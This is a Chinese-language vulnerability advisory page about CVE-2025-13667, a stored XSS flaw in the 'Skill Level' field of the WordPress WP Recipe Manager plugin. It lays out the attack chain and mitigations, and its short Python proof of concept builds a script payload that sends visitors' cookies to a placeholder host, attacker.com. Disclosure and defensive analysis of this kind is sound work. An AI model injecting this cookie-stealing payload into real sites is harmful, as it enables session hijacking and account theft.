IPBUF安全漏洞报告
English
CVE-2025-13667 CVSS 6.4 中危

CVE-2025-13667: WordPress WP Recipe Manager插件存储型XSS漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-13667
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WP Recipe Manager plugin for WordPress

相关标签

CVE-2025-13667WordPress插件漏洞存储型XSSWP Recipe ManagerCross-Site Scripting身份验证绕过权限提升WordPress安全

漏洞概述

CVE-2025-13667是WordPress WP Recipe Manager插件中的一个高危安全漏洞。该插件是一款广泛应用于WordPress网站的食谱管理插件,用户可以通过该插件创建、编辑和管理食谱内容。漏洞根源在于插件对用户输入的'Skill Level'(技能等级)字段缺乏充分的输入消毒(Input Sanitization)和输出转义(Output Escaping)处理。攻击者利用此漏洞可以在食谱页面的技能等级字段中注入恶意JavaScript代码。由于该输入直接存储在数据库中,当其他用户访问包含恶意代码的页面时,注入的脚本会在受害者浏览器中执行。这使得攻击者能够窃取会话Cookie、劫持用户账户、进行钓鱼攻击或修改页面内容。由于WordPress的Contributor角色用户即具备利用此漏洞的权限,攻击门槛相对较低,危害范围较广。建议网站管理员立即升级到插件最新版本或采取临时缓解措施。

技术细节

该漏洞为存储型XSS(Stored Cross-Site Scripting)漏洞,存在于WP Recipe Manager插件的class.metaboxes.php文件第203行附近。漏洞产生的根本原因是插件在处理用户提交的'Skill Level'字段时,未对输入内容进行适当的HTML实体编码或白名单过滤就直接存入数据库。当数据从数据库取出并在前端页面展示时,如果未进行输出转义,浏览器会将其解析为可执行脚本。具体利用过程如下:1. 攻击者以Contributor或更高权限登录WordPress后台;2. 创建或编辑食谱文章,在技能等级字段中输入恶意Payload,如:<script>alert(document.cookie)</script>;3. 保存文章后,恶意代码被永久存储在数据库中;4. 当管理员或其他用户访问该食谱页面时,恶意脚本在他们的浏览器上下文中执行;5. 攻击者可通过此方式窃取认证令牌、凭据或执行任意客户端操作。攻击成功的前提是目标网站使用受影响版本的插件,且攻击者拥有至少Contributor级别的WordPress账户。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress Contributor账户访问权限
STEP 2
步骤2
登录WordPress后台,导航至食谱管理页面
STEP 3
步骤3
创建或编辑食谱文章,在'Skill Level'字段中注入恶意JavaScript代码
STEP 4
步骤4
提交保存后,恶意Payload被存储到数据库中
STEP 5
步骤5
受害者访问包含恶意代码的食谱页面
STEP 6
步骤6
浏览器解析并执行注入的JavaScript,攻击者窃取Cookie或执行恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests from bs4 import BeautifulSoup # Target WordPress site target_url = "http://target-wordpress-site.com" # Attacker credentials (Contributor role) username = "attacker" password = "attacker_password" # Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session.post(login_url, data=login_data) # Create recipe with malicious Skill Level add_recipe_url = f"{target_url}/wp-admin/post-new.php?post_type=wprm_recipe" xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' recipe_data = { "post_title": "Malicious Recipe", "wprm_skill_level": xss_payload, # XSS injection point "publish": "Publish" } # Note: Actual exploitation requires form token and proper request structure print(f"[*] XSS Payload crafted: {xss_payload}") print("[*] PoC demonstrates the vulnerability in Skill Level field")

影响范围

WP Recipe Manager plugin <= 1.0.0

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 使用WordPress安全插件(如Wordfence)添加输入过滤规则;2) 临时禁用食谱创建功能,阻止新内容提交;3) 限制Contributor角色的内容发布权限,仅允许管理员审核发布;4) 在Web应用防火墙(WAF)中添加针对<script>标签和事件处理器属性的过滤规则;5) 监控管理员日志,及时发现异常内容创建行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表